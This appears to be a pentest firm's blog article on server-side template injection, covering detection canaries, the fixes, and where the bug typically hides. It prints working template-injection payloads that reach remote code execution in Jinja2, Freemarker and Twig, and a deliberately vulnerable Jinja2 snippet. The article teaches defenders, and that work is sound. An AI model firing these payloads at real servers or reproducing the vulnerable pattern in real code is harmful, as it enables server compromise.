Server-Side Template Injection (SSTI) in 2026: Detection and Exploitation

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 25, 2026
3 min read

Last updated: April 26, 2026

Server-Side Template Injection (SSTI) is the bug class where user input reaches a template engine, allowing the user to execute template-engine code on the server. SSTI in Jinja2, Twig, Freemarker, Velocity, or Smarty leads to remote code execution. SSTI is rare on initial scan but devastating when present, and modern frameworks make it easier to introduce by accident than to find by audit. This article covers SSTI detection, exploitation in the major engines, the fixes, and the architectural pattern that prevents the entire class.

The mental model

A template engine takes a template (with placeholders like {{ user.name }}) and a context (data) and renders the output. The bug class exists when:

  • User input is concatenated into the template, not into the context
  • The user input contains template syntax that gets evaluated

Example vulnerable Python code:

from jinja2 import Template
def hello(name):
    template = Template("Hello, " + name + "!")
    return template.render()

If name = "{{7*7}}", the rendered output is “Hello, 49!” — the template engine evaluated 7*7. From there, the attacker can navigate Python object graphs to reach system-level functions.

Detection — the canary payloads

Test every input that ends up in a rendered page (error messages, profile fields, email templates, report titles):

Engine Canary Expected output
Jinja2 (Python) {{7*7}} 49
Twig (PHP) {{7*7}} 49
Smarty (PHP) {php}echo 7*7;{/php} 49
Freemarker (Java) ${7*7} 49
Velocity (Java) #set($x=7*7)$x 49
ERB (Ruby) <%= 7*7 %> 49
Handlebars (Node) limited; harder to RCE
Razor (.NET) @(7*7) 49

If any of these reflects “49” in output, you have SSTI. Use Tplmap or PayloadsAllTheThings for engine-specific exploitation chains.

Jinja2 to RCE

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Walks Python’s object graph from the template context to os.popen. Modern Jinja2 sandboxes block some access, but bypasses are well-documented (Tplmap automates).

Freemarker to RCE

<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

Twig to RCE

{{ ['id']|map('system')|join(',') }}

Where SSTI hides

  • Email subject / body templates — applications let users customise welcome emails using template syntax
  • Report titles — “Generate report with title: ___” rendered into a PDF/HTML
  • Error messages — application includes user input in error pages without escaping
  • Username / display name fields — some apps render display name through template engines for “personalisation”
  • CMS templates — admin user creates a template; if the admin role is reachable through privilege escalation, SSTI follows
  • Mass-mailer / marketing-email tools — Mailchimp-like tools often have SSTI in self-hosted variants

Detection at runtime

  • WAF rules for template-syntax in user inputs ({{, {%, ${, <%=) — false-positive prone but useful baseline
  • Application logs for template-rendering errors caused by malformed syntax — often fingerprint of probing
  • Sandbox monitoring — if your engine is sandboxed, log every sandbox-escape attempt

The fix

  • Pass user data as context, not template content. The template is a static string; the data fills placeholders. Never concatenate user input into the template string.
  • Use sandboxed environments — Jinja2 SandboxedEnvironment, Smarty security policy. Sandboxes are bypassable but raise the bar.
  • Allow-list user-customisable templates — if users genuinely need to author templates (email customisation), use a restricted DSL with no execution capability, not the full template engine.
  • Static analysis in CI for template-engine API usage with concatenated inputs.

How to find your next SSTI

  • Test every user-controlled input field with the canary set above.
  • Particularly: profile fields, email templates, error messages, report customisation, dashboard widgets.
  • Look in admin / power-user features — most SSTI we find lives in admin functionality.

Compliance angle

  • OWASP Top 10 A03 (Injection) — SSTI is a subclass.
  • DPDP §8(5) — SSTI to RCE on production servers is reasonable-security failure.

The takeaway

SSTI is rare but devastating. Detection takes seconds with canary payloads. Defence is architectural: never concatenate user input into templates. The next time you build a feature that “lets users customise the email,” reach for a restricted DSL, not the template engine.

Need a real pentest?

Get a VAPT scoping call

Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.

Book VAPT scoping call Replies in 4 working hrs · India-only · Senior consultants